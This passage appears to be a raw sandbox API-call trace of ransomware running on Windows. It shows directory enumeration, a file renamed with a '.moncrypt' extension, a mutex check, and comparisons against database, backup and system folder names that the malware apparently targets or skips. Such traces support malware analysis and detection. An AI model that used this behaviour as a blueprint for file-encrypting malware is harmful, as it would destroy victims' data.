ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x83dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.965] GetLastError () returned 0x12 [0051.965] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.965] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0051.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.965] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.965] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.965] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.965] GlobalUnlock (hMem=0x44000c) returned 0 [0051.965] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.965] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.965] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.965] GlobalUnlock (hMem=0x44000c) returned 0 [0051.965] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.965] GlobalUnlock (hMem=0x440004) returned 0 [0051.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.966] GlobalLock (hMem=0x440004) returned 0x550170 [0051.966] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.966] GlobalUnlock (hMem=0x440004) returned 0 [0051.966] GlobalLock (hMem=0x440004) returned 0x550170 [0051.966] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.966] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.966] GlobalUnlock (hMem=0x440004) returned 0 [0051.966] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.966] GlobalUnlock (hMem=0x44000c) returned 0 [0051.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.966] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS") returned 1 [0051.966] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.966] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.966] GlobalUnlock (hMem=0x44000c) returned 0 [0051.966] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.966] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.966] GlobalUnlock (hMem=0x44000c) returned 0 [0051.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.966] GlobalUnlock (hMem=0x440004) returned 0 [0051.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冺R冎R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.967] GetLastError () returned 0x3 [0051.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0051.967] GetLastError () returned 0x2 [0051.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18;")) returned 0xffffffff [0051.968] GetLastError () returned 0x2 [0051.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0051.968] GetLastError () returned 0x2 [0051.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18ꜤR\x18j")) returned 0xffffffff [0051.969] GetLastError () returned 0x2 [0051.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18q")) returned 0xffffffff [0051.969] GetLastError () returned 0x2 [0051.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\꜠RP") returned 6 [0051.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0051.970] GetLastError () returned 0x2 [0051.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0051.970] GetLastError () returned 0x2 [0051.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18\x88")) returned 0xffffffff [0051.971] GetLastError () returned 0x2 [0051.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.971] GetLastError () returned 0x2 [0051.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0051.972] GetLastError () returned 0x2 [0051.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.972] GlobalLock (hMem=0x440004) returned 0x550170 [0051.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.972] GlobalUnlock (hMem=0x440004) returned 0 [0051.972] GlobalLock (hMem=0x440004) returned 0x550170 [0051.972] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.972] GlobalUnlock (hMem=0x440004) returned 0 [0051.972] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.972] GlobalUnlock (hMem=0x44000c) returned 0 [0051.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.972] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.972] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.973] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.973] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.973] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.973] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.973] GlobalUnlock (hMem=0x44000c) returned 0 [0051.973] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.973] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.973] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.973] GlobalUnlock (hMem=0x44000c) returned 0 [0051.973] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.973] GlobalUnlock (hMem=0x440004) returned 0 [0051.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\iris\\") returned 0x3d [0051.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a170, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.975] GlobalLock (hMem=0x440004) returned 0x550170 [0051.975] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.975] GlobalUnlock 